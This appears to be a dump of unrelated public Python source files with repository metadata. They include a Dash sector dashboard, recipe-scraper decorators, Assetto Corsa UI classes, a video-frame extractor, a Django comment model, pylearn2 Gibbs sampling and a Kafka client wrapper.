8a778a834551e872b7c730e425b78c860d4a6eaa

71854d518b0513b4e09e82cf38dbd3dd2d6f44f8

/apptesting.py

47374d83ae4d8da99289699f0fd06818497c2077

[]

no_license

hcxie/linkedin-datavisual-app-testing

5d0fc613f50bb26ef09fa4ce5f63d06299a0c813

e08ae54348f65967b53d781e007a6e13697016fd

refs/heads/master

2020-05-19T22:36:21.201983

2019-05-06T22:39:50

185,249,789

0

null

UTF-8

Python

false

5,478

py

import dash import dash_core_components as dcc import dash_html_components as html import pandas as pd from dash.dependencies import Input, Output import plotly.graph_objs as go external_stylesheets = ['https://codepen.io/chriddyp/pen/bWLwgP.css'] app = dash.Dash(__name__, external_stylesheets=external_stylesheets) def read_merge_data(filename): df=pd.read_csv(filename) df.set_index(pd.DatetimeIndex(df['date']),inplace=True) df['yearmonth']=pd.to_datetime(df['date'], format='%Y/%m').map(lambda x: x.year) df.drop(['date'],axis=1,inplace=True) return df tempdf=read_merge_data('it_merge_df.csv') x_labels=tempdf['yearmonth'] available_indicators=list(tempdf.columns[0:2]) available_indicators2=list(tempdf.columns[2:7]) sector_list={ 1:'real_estate',#XLRE 2:'utilities',#XLU 3:'it',#XLK 4:'financial',#XLF 5:'healthcare',#XLV 6:'consumer_staples',#XLP 7:'consumer_discretionary',#XLY 8:'basic_material',#XLB 9:'energy',#XLE 10:'industrials'}#XLI sector_name=[val for key,val in sector_list.items()] server = app.server app.layout = html.Div([ html.Div([ html.Div([ html.Label('Sector Dropdown'), dcc.Dropdown( id='sector_dropdown', options=[ {'label': 'Real Estate', 'value': 1}, {'label': 'Utilities', 'value': 2}, {'label': 'IT', 'value': 3}, {'label': 'Financial', 'value': 4}, {'label': 'Healthcare', 'value': 5}, {'label': 'Consumer Staples', 'value': 6}, {'label': 'Consumer Discretionary', 'value': 7}, {'label': 'Basic Material', 'value': 8}, {'label': 'Energy', 'value': 9}, {'label': 'Industrials', 'value': 10} ], value=[3], multi=True )], style={'width': '48%', 'display': 'inline-block'}), html.Div([ html.Label('Linkedin info Dropdown'), dcc.Dropdown( id='yaxis-column', options=[{'label': i, 'value': i} for i in available_indicators], value='employees_on_platform' ), ],style={'width': '48%', 'float': 'right', 'display': 'inline-block'}) ]), dcc.Graph(id='indicator-graphic'), html.Div([ html.Label('time-slider'), dcc.Slider( id='year--slider', min=x_labels.min(), max=x_labels.max(), value=x_labels.max(), marks={str(year): str(year)[2:] for year in x_labels.unique()}, step=20 )], style={'width': '99%'}), html.Div([ html.Div([ html.Label('Stock Feature'), dcc.Dropdown( id='yaxis-column2', options=[{'label': i, 'value': i} for i in available_indicators2], value='adj_close_stock' ), ],style={'width': '99%'}) ]), dcc.Graph(id='indicator-graphic2'), html.Div([ html.Label('time-slider'), dcc.Slider( id='year--slider2', min=x_labels.min(), max=x_labels.max(), value=x_labels.max(), marks={str(year): str(year)[2:] for year in x_labels.unique()}, step=20 )], style={'width': '99%'}), ]) @app.callback( Output('indicator-graphic', 'figure'), [Input('year--slider', 'value'), Input('yaxis-column', 'value'), Input('sector_dropdown', 'value'), ]) def update_graph(selected_year,yaxis_column_name,sector_dropdown): traces=[] for i in sector_dropdown: sector_file_name=sector_list[i]+'_merge_df.csv' tempdf=read_merge_data(sector_file_name) sector_tempdf=tempdf[tempdf['yearmonth']<=selected_year] traces.append(go.Scatter( x=sector_tempdf.index, y=sector_tempdf[yaxis_column_name], #text=df_by_continent['country'], mode='lines', opacity=0.7, marker={ 'size': 15, 'line': {'width': 0.5, 'color': 'white'} }, name=i )) return { 'data': traces, 'layout': go.Layout( xaxis={ 'title': 'Year', }, yaxis={ 'title': yaxis_column_name, }, margin={'l': 40, 'b': 40, 't': 10, 'r': 0}, hovermode='closest' ) } @app.callback( Output('indicator-graphic2', 'figure'), [Input('year--slider2', 'value'), Input('yaxis-column2', 'value'), Input('sector_dropdown', 'value'), ]) def update_graph(selected_year,yaxis_column_name,sector_dropdown): traces=[] for i in sector_dropdown: sector_file_name=sector_list[i]+'_merge_df.csv' tempdf=read_merge_data(sector_file_name) sector_tempdf=tempdf[tempdf['yearmonth']<=selected_year] traces.append(go.Scatter( x=sector_tempdf.index, y=sector_tempdf[yaxis_column_name], #text=df_by_continent['country'], mode='lines', opacity=0.7, marker={ 'size': 15, 'line': {'width': 0.5, 'color': 'white'} }, name=i )) return { 'data': traces, 'layout': go.Layout( xaxis={ 'title': 'Year', }, yaxis={ 'title': yaxis_column_name, }, margin={'l': 40, 'b': 40, 't': 10, 'r': 0}, hovermode='closest' ) } if __name__ == '__main__': app.run_server(debug=True)

[ "jbdx6307@gmail.com" ]

jbdx6307@gmail.com

0f40308406e38359eb00bd87c471b5f1ff5f6778

0fba89a7703d883231decbb5b748d4df22832e6a

/recipe_scrapers/_decorators.py

87fb968ea2b97ba5373f8906f7b9acf4f19879ef

[ "MIT" ]

permissive

tobiaghiraldini/recipe-scrapers

c66f1fb448f6e696677ec95d43a595be8470e890

1ced80d25dcc6e88877c26187990f112f3134e67

refs/heads/master

2022-07-04T20:31:07.114353

2020-05-20T10:42:26

262,996,294

0

MIT

2020-05-11T09:23:45

null

UTF-8

Python

false

1,895

py

import functools from language_tags import tags from ._schemaorg import SchemaOrgException class Decorators: @staticmethod def schema_org_priority(decorated): """ Use SchemaOrg parser with priority (if there's data in it) On exception raised - continue by default. If there's no data (no schema implemented on the site) - continue by default """ @functools.wraps(decorated) def schema_org_priority_wrapper(self, *args, **kwargs): function = getattr(self.schema, decorated.__name__) if not function: raise SchemaOrgException( "Function '{}' not found in schema" .format(decorated.__name) ) if not self.schema.data: return decorated(self, *args, **kwargs) try: value = function(*args, **kwargs) except SchemaOrgException: return decorated(self, *args, **kwargs) return value or decorated(self, *args, **kwargs) return schema_org_priority_wrapper @staticmethod def og_image_get(decorated): @functools.wraps(decorated) def og_image_get_wrapper(self, *args, **kwargs): try: image = self.soup.find( 'meta', {'property': 'og:image', 'content': True} ) return image.get('content') except AttributeError: return decorated(self, *args, **kwargs) return og_image_get_wrapper @staticmethod def bcp47_validate(decorated): @functools.wraps(decorated) def bcp47_validate_wrapper(self, *args, **kwargs): tag = tags.tag(decorated(self, *args, **kwargs)) return str(tag) if tag.valid else None return bcp47_validate_wrapper

[ "hhursev@gmail.com" ]

hhursev@gmail.com

b3a0f7392ad91b35f21b7aaa9a6aeac03fdbf6f0

9457a7eb9c1d64e203d85b45b3337f06768f28af

/python/OV1Info/app/classes.py

d93f55ea6d4ed1526b1150dbe808cea822cb83ee

[]

no_license

acclub/apps

1173a7295714086a34f3896ec54025b2eab34290

f86e5a56e6908823256133cba83590a31a7fe19c

refs/heads/master

2021-01-10T14:43:21.392018

2016-09-30T21:32:40

47,973,886

2

0

null

UTF-8

Python

false

6,719

py

import ac import math import configparser class Window: # INITIALIZATION def __init__(self, name="defaultAppWindow", title="", icon=True, width=100, height=100, scale=1, texture=""): # local variables self.name = name self.title = title self.width = width self.height = height self.x = 0 self.y = 0 self.is_attached = False self.attached_l = -1 self.attached_r = -1 # creating the app window self.app = ac.newApp(self.name) # default settings ac.drawBorder(self.app, 0) ac.setBackgroundOpacity(self.app, 0) if icon is False: ac.setIconPosition(self.app, 0, -10000) # applying settings ac.setTitle(self.app, self.title) ac.setBackgroundTexture(self.app, texture) ac.setSize(self.app, math.floor(self.width*scale), math.floor(self.height*scale)) # PUBLIC METHODS def onRenderCallback(self, func): ac.addRenderCallback(self.app, func) return self def setBgOpacity(self, alpha): ac.setBackgroundOpacity(self.app, alpha) return self def border(self, value): ac.drawBorder(self.app, value) return self def setBgTexture(self, texture): ac.setBackgroundTexture(self.app, texture) return self def setPos(self, x, y): self.x = x self.y = y ac.setPosition(self.app, self.x, self.y) return self def getPos(self): self.x, self.y = ac.getPosition(self.app) return self #-#####################################################################################################################################-# class Label: # INITIALIZATION def __init__(self, window, text = ""): self.text = text self.label = ac.addLabel(window, self.text) self.size = { "w" : 0, "h" : 0 } self.pos = { "x" : 0, "y" : 0 } self.color = (1, 1, 1, 1) self.bgColor = (0, 0, 0, 1) self.fontSize = 12 self.align = "left" self.bgTexture = "" self.opacity = 1 # PUBLIC METHODS def setText(self, text): self.text = text ac.setText(self.label, self.text) return self def setSize(self, w, h): self.size["w"] = w self.size["h"] = h ac.setSize(self.label, self.size["w"], self.size["h"]) return self def setPos(self, x, y): self.pos["x"] = x self.pos["y"] = y ac.setPosition(self.label, self.pos["x"], self.pos["y"]) return self def setColor(self, color): self.color = color ac.setFontColor(self.label, *self.color) return self def setFontSize(self, fontSize): self.fontSize = fontSize ac.setFontSize(self.label, self.fontSize) return self def setAlign(self, align = "left"): self.align = align ac.setFontAlignment(self.label, self.align) return self def setBgTexture(self, texture): self.bgTexture = texture ac.setBackgroundTexture(self.label, self.bgTexture) return self def setBgColor(self, color): ac.setBackgroundColor(self.label, *color) return self def setBgOpacity(self, opacity): ac.setBackgroundOpacity(self.label, opacity) return self def setVisible(self, value): ac.setVisible(self.label, value) return self #-#####################################################################################################################################-# class Button: # INITIALIZATION def __init__(self, window, clickFunc, width=60, height=20, x=0, y=0, text="", texture=""): self.width = width self.height = height self.x = x self.y = y self.button = ac.addButton(window, text) # adding default settings self.setSize(width, height) self.setPos(x, y) if texture != "": self.setBgTexture(texture) # default settings ac.drawBorder(self.button, 0) ac.setBackgroundOpacity(self.button, 0) # adding a click event ac.addOnClickedListener(self.button, clickFunc) # PUBLIC METHODS def setSize(self, width, height): self.width = width self.height = height ac.setSize(self.button, self.width, self.height) return self def setPos(self, x, y): self.x = x self.y = y ac.setPosition(self.button, self.x, self.y) return self def setBgTexture(self, texture): ac.setBackgroundTexture(self.button, texture) return self #-#####################################################################################################################################-# class Config: # INITIALIZATION def __init__(self, path, filename): self.file = path + filename self.parser = 0 try: self.parser = configparser.RawConfigParser() except: ac.console("OV1: Config -- Failed to initialize ConfigParser.") # read the file self._read() # LOCAL METHODS def _read(self): self.parser.read(self.file) def _write(self): with open(self.file, "w") as cfgFile: self.parser.write(cfgFile) # PUBLIC METHODS def has(self, section=None, option=None): if section is not None: # if option is not specified, search only for the section if option is None: return self.parser.has_section(section) # else, search for the option within the specified section else: return self.parser.has_option(section, option) # if section is not specified else: ac.console("OV1: Config.has -- section must be specified.") def set(self, section=None, option=None, value=None): if section is not None: # if option is not specified, add the specified section if option is None: self.parser.add_section(section) self._write() # else, add the option within the specified section else: if not self.has(section, option) and value is None: ac.console("OV1: Config.set -- a value must be passed.") else: self.parser.set(section, option, value) self._write() # if sections is not specified else: ac.console("OV1: Config.set -- section must be specified.") def get(self, section, option, type = ""): if self.has(section) and self.has(section, option): # if option request is an integer if type == "int": return self.parser.getint(section, option) # if option request is a float elif type == "float": return self.parser.getfloat(section, option) # if option request is boolean elif type == "bool": return self.parser.getboolean(section, option) # it must be a string then! else: return self.parser.get(section, option) else: return -1 def remSection(self, section): if self.has(section): self.parser.remove_section(section) self._write() else: ac.console("OV1: Config.remSection -- section not found.") def remOption(self, section, option): if self.has(section) and self.has(section, option): self.parser.remove_option(section, option) self._write() else: ac.console("OV1: Config.remOption -- option not found.")

[ "illvdg13@gmail.com" ]

illvdg13@gmail.com

d9e5e750b84c63450d958537f59dbc8b3863f3b4

2194df5490666825d382e6e47bd33139b1faf0df

/vtools/videotoimage.py

ff6b9cb5e919adadbff64930f5eb8a56adafd551

[]

no_license

aiporre/video_tools

a88a3134c6148bd384c71e846aeab49da6bfab8e

f955c22fc7259a4b45592f522bb80f0533e6093d

refs/heads/master

2021-08-02T21:03:53.344844

2021-07-28T16:45:57

213,970,927

0

null

UTF-8

Python

false

4,568

py

import cv2 import argparse import os from tqdm import tqdm class VideoToImage(object): def __init__(self, src=0, output_path = './', extension = '.jpg', prefix='frame_', padding=-1): # Create a VideoCapture object self.capture = cv2.VideoCapture(src) self.output_path = output_path self.frame_counter = 0 # resolution of the video self.frame_width = int(self.capture.get(3)) self.frame_height = int(self.capture.get(4)) self.n_frames = int(self.capture.get(7)) self.extension = extension self.prefix = prefix self.padding = padding def update(self): # Read the next frame if self.capture.isOpened(): (self.status, self.frame) = self.capture.read() self.frame_counter +=1 def show_frame(self): # Convert to grayscale and display frames if self.status: cv2.imshow('frame', self.frame) # Press 'q' on keyboard to stop recording key = cv2.waitKey(1) if key == ord('q'): self.capture.release() cv2.destroyAllWindows() exit(1) def save_frame(self): # Save grayscale frame into video output file if self.status: # self.capture.isOpened(): if self.padding > 0: filename = os.path.join(self.output_path, self.prefix + "{1:0{0}}".format(self.padding,self.frame_counter) + self.extension) else: filename = os.path.join(self.output_path, self.prefix + str(self.frame_counter) + self.extension) cv2.imwrite(filename, self.frame) def close(self, exit=False): self.capture.release() cv2.destroyAllWindows() if exit: exit(1) class VideoToGrayImage(VideoToImage): def __init__(self, src=0, output_path = './', extension = '.jpg', prefix='frame_', padding=-1): super(VideoToGrayImage,self).__init__(src=src, output_path = output_path, extension = extension, prefix=prefix, padding=padding) def update(self): super().update() if self.status: self.frame = cv2.cvtColor(self.frame, cv2.COLOR_BGR2GRAY) def run(video_src, output_path=None, extension ='.png', plot='n', prefix='frame_', padding=-1, gray = 'y'): ''' run default video to image ''' if output_path is None: output_path = os.path.dirname(video_src) output_path = os.path.join(output_path,'video_images') if not os.path.exists(output_path): os.mkdir(output_path) if gray == 'y': video_stream_widget = VideoToGrayImage(video_src, output_path = output_path, extension = extension, prefix=prefix, padding=padding) else: video_stream_widget = VideoToImage(video_src, output_path=output_path, extension=extension, prefix=prefix, padding=padding) if plot == 'y': print('stop convertion by pressing q') for _ in tqdm(range(video_stream_widget.n_frames)): if video_stream_widget.capture.isOpened(): try: video_stream_widget.update() if plot == 'y': video_stream_widget.show_frame() video_stream_widget.save_frame() except AttributeError: pass else: video_stream_widget.close() video_stream_widget.close() if __name__ == '__main__': parser = argparse.ArgumentParser(description='Convert to gray avi videos.') parser.add_argument('--target', metavar='target', type=str, help='target avi video full path') parser.add_argument('--output', metavar='output', type=str, help='output path where the images are saved') parser.add_argument('--plot', metavar='plot', type=str, default='y', help='show video during convertion flag (y(default), or n))') parser.add_argument('--extension', metavar='extension', type=str, default='.jpg', help='extension of the imamge output (default: .jpg)') args = parser.parse_args() video_src = args.target print(video_src) video_stream_widget = VideoToGrayImage(video_src, output_path = args.output, extension = args.extension) print('stop convertion by pressing q') while video_stream_widget.capture.isOpened(): try: video_stream_widget.update() if args.plot == 'y': video_stream_widget.show_frame() video_stream_widget.save_frame() except AttributeError: pass

[ "ariel.iporre.rivas@gmail.com" ]

ariel.iporre.rivas@gmail.com

4de5a482ac1a2b84b0fc9163f756e769c371d213

407d4e49248cc7aa244d75439360b34cd8e57e71

/venv/Scripts/easy_install-script.py

53ca27394e3788212ea5e8cf08b912eade2cbd08

[]

no_license

fati-ma/POS-tagger

3c38e26919d6f2a27442bb200e3d6d6fdb57838d

d72981cb4976089b68000a43f9c82a9df192605b

refs/heads/main

2023-07-31T14:25:43.363787

2021-09-21T12:46:51

408,569,546

0

null

UTF-8

Python

false

449

py

#!C:\Users\delta\PycharmProjects\Test11\venv\Scripts\python.exe # EASY-INSTALL-ENTRY-SCRIPT: 'setuptools==40.8.0','console_scripts','easy_install' __requires__ = 'setuptools==40.8.0' import re import sys from pkg_resources import load_entry_point if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0]) sys.exit( load_entry_point('setuptools==40.8.0', 'console_scripts', 'easy_install')() )

[ "fatima.atiyya@yahoo.com" ]

fatima.atiyya@yahoo.com

4392e82cf5bce518c62400d99c6a9685baa753f0

db8ddcd93af0386a2cdf7c06f131c5acbfbcc4af

/UE-6.2.py

2043ffa531c2ac802df0d8ae21ed5431236ec966

[]

no_license

Damanu/CP-UE

584a088480d3252e389a70d64c98f64722d35a5d

8264839363275cd4f585cec97b7868e1b31e0114

refs/heads/master

2021-01-10T18:01:14.338989

2016-01-14T10:11:31

44,479,904

0

null

UTF-8

Python

false

117

py

#/usr/bin/python! import matplotlib.pyplot as plt import numpy as np import sys if __name__=="__main__": main()

[ "e.schwarzhans@gmx.at" ]

e.schwarzhans@gmx.at

f6d5e74ffb4eeffb6b0b056154516157ac157cef

1edf3c5a83c3d9d1fe63a38a67db667c89ee0642

/botTester/unpredictable.py

0d9e45bcfb074f7611b9ecea581d00d73c3ce08a

[]

no_license

roctbb/GoTo

e0ebbb9a70cd4c123a43d980299da043bc8537c2

6ba9cca18e106acc2e6d441dd98b597e397ec211

refs/heads/master

2020-05-21T20:13:52.486735

2018-11-18T09:38:35

61,876,224

3

4

null

UTF-8

Python

false

136

py

__author__ = 'roctbb' from random import choice def step(history): return choice(["камень", "ножницы","бумага"])

[ "roctbb@gmail.com" ]

roctbb@gmail.com

2bccf9d5a6413459ed13f822479d9f1f10160631

bbc712831e5adeb0ea3b6434f5bbde63f2cbea34

/delete.py

be28977592fb44ee804a25878b09ccb81c10ca8f

[]

no_license

gls369/database-sample

b5add9e46ffb03cc73bf24c55218aeed77efbd23

c3da7cbf1bb9c2a504ce7841ffd38da7dffc9bb6

refs/heads/master

2020-04-12T11:10:22.085991

2018-12-20T13:13:29

162,451,380

0

null

UTF-8

Python

false

147

py

import requests import json headers = {"Content-Type" : "application/json"} res = requests.delete("http://127.0.0.1:5000/CV/1") print (res.text)

[ "gls@live.hk" ]

gls@live.hk

caa5d7f22e33db8b41abcb461289fd84c5a814ee

de24f83a5e3768a2638ebcf13cbe717e75740168

/moodledata/vpl_data/40/usersdata/78/24413/submittedfiles/main.py

eab508f3756a8f0f59276fbd4bed79017c152c6b

[]

no_license

rafaelperazzo/programacao-web

95643423a35c44613b0f64bed05bd34780fe2436

170dd5440afb9ee68a973f3de13a99aa4c735d79

refs/heads/master

2021-01-12T14:06:25.773146

2017-12-22T16:05:45

69,566,344

0

null

UTF-8

Python

false

332

py

# -*- coding: utf-8 -*- from __future__ import division import funcoes #COMECE AQUI m=int(input('digite o valor de m:') e=input('digite o valor de epsilon:') m=funcoes.absoluto(m) pi=funcoes.pi(m) cosseno=funcoes.cosseno(pi/5,e) razaoaurea=funcoes.razaoaurea(m,e) print('%.15f' %pi) print('%.15f' %razaoaurea)

[ "rafael.mota@ufca.edu.br" ]

rafael.mota@ufca.edu.br

1ea53c97efbef18c6d8500971ef041b011cad8a1

4467ac07a53475b5906471de1fd2354d9d277f83

/pylearn2/models/dbm/sampling_procedure.py

bd6522e1b1bdab962a509475901ff0f3e608629d

[]

no_license

YS-L/pylearn2

01161cc0b160703aff39c41d2251736a51b0c1ae

55e40690f104850bd336952692b17803c01dcb6c

refs/heads/master

2020-02-26T13:15:24.420474

2014-02-19T23:23:41

null

0

null

UTF-8

Python

false

8,080

py

__authors__ = ["Ian Goodfellow", "Vincent Dumoulin"] __copyright__ = "Copyright 2012-2013, Universite de Montreal" __credits__ = ["Ian Goodfellow"] __license__ = "3-clause BSD" __maintainer__ = "Ian Goodfellow" from theano.compat import OrderedDict from pylearn2.utils import py_integer_types class SamplingProcedure(object): """ Procedure for sampling from a DBM. """ def set_dbm(self, dbm): """ .. todo:: WRITEME """ self.dbm = dbm def sample(self, layer_to_state, theano_rng, layer_to_clamp=None, num_steps=1): """ Samples from self.dbm using `layer_to_state` as starting values. Parameters ---------- layer_to_state : dict Maps the DBM's Layer instances to theano variables representing \ batches of samples of them. theano_rng : theano.sandbox.rng_mrg.MRG_RandomStreams WRITEME layer_to_clamp : dict, optional Maps Layers to bools. If a layer is not in the dictionary, \ defaults to False. True indicates that this layer should be \ clamped, so we are sampling from a conditional distribution \ rather than the joint distribution. Returns ------- layer_to_updated_state : dict Maps the DBM's Layer instances to theano variables representing \ batches of updated samples of them. """ raise NotImplementedError(str(type(self))+" does not implement " + "sample.") class GibbsEvenOdd(SamplingProcedure): """ The specific sampling schedule used to sample all of the even-idexed layers of model.hidden_layers, then the visible layer and all the odd-indexed layers. """ def sample(self, layer_to_state, theano_rng, layer_to_clamp=None, num_steps=1): """ .. todo:: WRITEME """ # Validate num_steps assert isinstance(num_steps, py_integer_types) assert num_steps > 0 # Implement the num_steps > 1 case by repeatedly calling the # num_steps == 1 case if num_steps != 1: for i in xrange(num_steps): layer_to_state = self.sample(layer_to_state, theano_rng, layer_to_clamp, num_steps=1) return layer_to_state # The rest of the function is the num_steps = 1 case # Current code assumes this, though we could certainly relax this # constraint assert len(self.dbm.hidden_layers) > 0 # Validate layer_to_clamp / make sure layer_to_clamp is a fully # populated dictionary if layer_to_clamp is None: layer_to_clamp = OrderedDict() for key in layer_to_clamp: assert (key is self.dbm.visible_layer or key in self.dbm.hidden_layers) for layer in [self.dbm.visible_layer] + self.dbm.hidden_layers: if layer not in layer_to_clamp: layer_to_clamp[layer] = False # Assemble the return value layer_to_updated = OrderedDict() for i, this_layer in list(enumerate(self.dbm.hidden_layers))[::2]: # Iteration i does the Gibbs step for hidden_layers[i] # Get the sampled state of the layer below so we can condition # on it in our Gibbs update if i == 0: layer_below = self.dbm.visible_layer else: layer_below = self.dbm.hidden_layers[i-1] state_below = layer_to_state[layer_below] state_below = layer_below.upward_state(state_below) # Get the sampled state of the layer above so we can condition # on it in our Gibbs step if i + 1 < len(self.dbm.hidden_layers): layer_above = self.dbm.hidden_layers[i + 1] state_above = layer_to_state[layer_above] state_above = layer_above.downward_state(state_above) else: state_above = None layer_above = None if layer_to_clamp[this_layer]: this_state = layer_to_state[this_layer] this_sample = this_state else: # Compute the Gibbs sampling update # Sample the state of this layer conditioned # on its Markov blanket (the layer above and # layer below) this_sample = this_layer.sample(state_below=state_below, state_above=state_above, layer_above=layer_above, theano_rng=theano_rng) layer_to_updated[this_layer] = this_sample #Sample the visible layer vis_state = layer_to_state[self.dbm.visible_layer] if layer_to_clamp[self.dbm.visible_layer]: vis_sample = vis_state else: first_hid = self.dbm.hidden_layers[0] state_above = layer_to_updated[first_hid] state_above = first_hid.downward_state(state_above) vis_sample = self.dbm.visible_layer.sample(state_above=state_above, layer_above=first_hid, theano_rng=theano_rng) layer_to_updated[self.dbm.visible_layer] = vis_sample # Sample the odd-numbered layers for i, this_layer in list(enumerate(self.dbm.hidden_layers))[1::2]: # Get the sampled state of the layer below so we can condition # on it in our Gibbs update layer_below = self.dbm.hidden_layers[i-1] # We want to sample from each conditional distribution # ***sequentially*** so we must use the updated version # of the state for the layers whose updates we have # calculcated already, in layer_to_updated. # If we used the original value from # layer_to_state # then we would sample from each conditional # ***simultaneously*** which does not implement MCMC # sampling. state_below = layer_to_updated[layer_below] state_below = layer_below.upward_state(state_below) # Get the sampled state of the layer above so we can condition # on it in our Gibbs step if i + 1 < len(self.dbm.hidden_layers): layer_above = self.dbm.hidden_layers[i + 1] state_above = layer_to_updated[layer_above] state_above = layer_above.downward_state(state_above) else: state_above = None layer_above = None if layer_to_clamp[this_layer]: this_state = layer_to_state[this_layer] this_sample = this_state else: # Compute the Gibbs sampling update # Sample the state of this layer conditioned # on its Markov blanket (the layer above and # layer below) this_sample = this_layer.sample(state_below=state_below, state_above=state_above, layer_above=layer_above, theano_rng=theano_rng) layer_to_updated[this_layer] = this_sample # Check that all layers were updated assert all([layer in layer_to_updated for layer in layer_to_state]) # Check that we didn't accidentally treat any other object as a layer assert all([layer in layer_to_state for layer in layer_to_updated]) # Check that clamping worked assert all([(layer_to_state[layer] is layer_to_updated[layer]) == layer_to_clamp[layer] for layer in layer_to_state]) return layer_to_updated

[ "markus.roth@herr-biber.de" ]

markus.roth@herr-biber.de

6648b654370e9eee63bebb282364304a07b5731a

c422b95417eaa7ce3707f2b47c0742b53b726c19

/pyrandall/kafka.py

65c6fc3c280bc5fc38dedd7ab97e5fca6b427f18

[ "Apache-2.0" ]

permissive

e7dal/pyrandall

ebd05aac5767fce7b4f148e1fac9b19d7b89c5a3

0d170fd6ad25332dfc819db1be09cdc2736a5e4c

refs/heads/master

2021-01-05T17:49:01.623306

2019-09-27T11:33:58

null

0

null

UTF-8

Python

false

7,573

py

import configparser import io import logging import os import sys import time from enum import Enum from typing import Dict from confluent_kafka.cimpl import Consumer, KafkaError, KafkaException, Producer log = logging.getLogger("kafka") class ConsumerState(Enum): PARTITIONS_UNASSIGNED = 0 PARTITIONS_ASSIGNED = 1 TIMEOUT_SET = 2 class KafkaConn: def __init__(self): self.consume_lock = ConsumerState.PARTITIONS_UNASSIGNED # callback for consumer partition assignment, # removes lock for actual consumption def callback_on_assignment(self, consumer, partitions): self.consume_lock = ConsumerState.PARTITIONS_ASSIGNED log.info(f"Assignment: {partitions}") def check_connection(self): def check_callback(error, event): if error: if error.code() == KafkaError._MSG_TIMED_OUT: log.error( "This Timout might indicate the broker is down or connection is misconfigured" ) log.error(f"Error while producing initial msg: {error}") sys.exit(1) config = ConfigFactory(kafka_client="producer").config config["delivery.timeout.ms"] = "3000" # 3 seconds prod = Producer(config) prod.produce("pyrandall", "starting simulate", callback=check_callback) prod.flush() # block until callback is called def prod_reporter(self, error, event): if error: log.error(f"Error producing the event: {error}") else: log.info( f"Event produced, topic: {event.topic()}, \ partition: {event.partition()}" ) def produce_message(self, topic, body, headers=None, partition_key=None): if headers is None: msg_headers = {} self._produce(topic, body, partition_key, msg_headers) self.producer.flush() def init_producer(self): log.info("starting produce") kafka_config_producer = ConfigFactory(kafka_client="producer") config = kafka_config_producer.config log.info("kafka config for produce %s", config) self.check_connection() self.producer = Producer(config) def _produce(self, topic, msg, partition_key=None, headers=None): try: if partition_key: self.producer.produce( topic, msg, key=partition_key, callback=self.prod_reporter ) else: self.producer.produce(topic, msg, callback=self.prod_reporter) print(".", end="") except BufferError: log.error( "%% Local producer queue is full (%d messages \ awaiting delivery): try again", len(self.producer), ) # The consume function now contains a lock, the lock is removed when the # partitions are assigned (max 60 seconds). After assignment the regular # timeout are used. These should be set to a couple of seconds in the # scenario itself . def consume(self, topic, topic_timeout): kafka_config_consumer = ConfigFactory(kafka_client="consumer") config = kafka_config_consumer.config log.info("kafka config for consume %s", config) kcons = Consumer(config) events = [] start_time = time.monotonic() timeout_start_time = start_time timeout_consumer = 60.0 # actual consumer starts now # subscribe to 1 or more topics and define the callback function # callback is only received after consumer.consume() is called! kcons.subscribe([topic], on_assign=self.callback_on_assignment) log.info("Waiting for partition assignment ... (timeout at 60 seconds") try: while (time.monotonic() - timeout_start_time) < timeout_consumer: # start consumption messages = kcons.consume(timeout=0.1) # check for partition assignment if self.consume_lock == ConsumerState.PARTITIONS_UNASSIGNED: # this should not happen but we are not 100% sure if messages: log.error("messages consumed but lock is unopened") break continue # after partition assignment set the timeout again # and reset the start time from which to determine timeout # violation elif self.consume_lock == ConsumerState.PARTITIONS_ASSIGNED: timeout_start_time = time.monotonic() timeout_consumer = topic_timeout self.consume_lock = ConsumerState.TIMEOUT_SET log.info("Lock has been opened, consuming ...") # appened messages to the events list to be returned if messages: for msg in messages: log.info( f"message at offset: {msg.offset()}, \ partition: {msg.partition()}, \ topic: {msg.topic()}" ) events.append(msg.value()) else: # at the end check if the partition assignment was achieved if self.consume_lock != ConsumerState.TIMEOUT_SET: log.error("No partition assignments received in time") except KafkaException as e: log.error(f"Kafka error: {e}") pass finally: kcons.close() end_time = time.monotonic() log.debug(f"this cycle took: {(end_time - start_time)} seconds") return events class ConfigFactory: def __init__(self, kafka_client=None, fpath=None): self.config = {} kafka_properties = os.environ.get("KAFKA_PROPERTIES") if fpath is not None: # print("fpath") self.config = self.from_properties(fpath) elif kafka_properties: # print("kafka_properties") self.config = self.from_properties(kafka_properties) else: # print("from_env") self.config = self.from_env() if kafka_client == "consumer": self.config["group.id"] = "pyrandall-test" self.config["auto.offset.reset"] = "earliest" # self.config['debug'] = "topic,msg,broker" self.config["enable.partition.eof"] = "false" elif kafka_client == "producer": # self.config['debug'] = "topic,msg,broker" self.config["max.in.flight.requests.per.connection"] = 1 self.config["enable.idempotence"] = True self.config["retries"] = 1 self.config["delivery.timeout.ms"] = "30000" # 30 seconds pass @staticmethod def from_env() -> Dict[str, str]: config = {} broker = os.environ.get("KAFKA_BOOTSTRAP_SERVERS", "localhost:9092") config["bootstrap.servers"] = broker return config @staticmethod def from_properties(fpath) -> Dict[str, str]: section = "root" with open(fpath) as f: ini_str = io.StringIO(f"[{section}]\n" + f.read()) parser = configparser.ConfigParser() parser.read_file(ini_str, "strioIO") # check parsing was done correctly assert parser.sections() == [section] return dict(parser.items(section))

[ "stefano.oldeman@gmail.com" ]

stefano.oldeman@gmail.com

074b33472fa2500bb79a13979ce9a9d46cd08fc4

764263f101d81d6c0dd9c7afc7d7a2a7db9a389b

/DoAnApi/models/comment.py

c7d8e0ea3e3930d639b4feb8e848d21df41b6ec0

[]

no_license

nhucsau1995/DoAn

9008522aea31117ae6c7057e51550c5dd35608b9

68366c8f4e3ac0fd3f8c81afed8ab4e67ae22765

refs/heads/master

2021-09-06T07:14:11.666586

2017-12-12T02:01:34

112,214,991

0

null

UTF-8

Python

false

588

py

from django.db import models from .userpj import User from .post import Post class Comment(models.Model): objects = models.Manager() user_id = models.ForeignKey(User, on_delete=models.CASCADE) post_id = models.ForeignKey(Post, on_delete=models.CASCADE) content = models.TextField(null=False, blank=False) created_at = models.DateTimeField(auto_now_add=True, auto_now=False, editable=False) updated_at = models.DateTimeField(auto_now=True, editable=True) def __str__(self): return '{}/{} - {}'.format(self.id, self.post_id.title, self.user_id.id)

[ "nhucsau1995@gmail.com" ]

nhucsau1995@gmail.com

abf7eb515ae21d5ef3f410269569113c07252f57

22b3e3b9d5137575f4a9c8b70703ffaecfe9a5a8

/gauss1.py

34384098fbae7656a4f61a8bb77a8c6f8855db6d

[]

no_license

abdcelikkanat/expemb

d2cee75fa5b533a294a3da2349cef326c627fc2e

e5180e9bceceba507cf4d6438541ea6d6ca541ab

refs/heads/master

2020-03-22T09:58:20.236304

2018-07-18T15:53:14

139,872,581

0

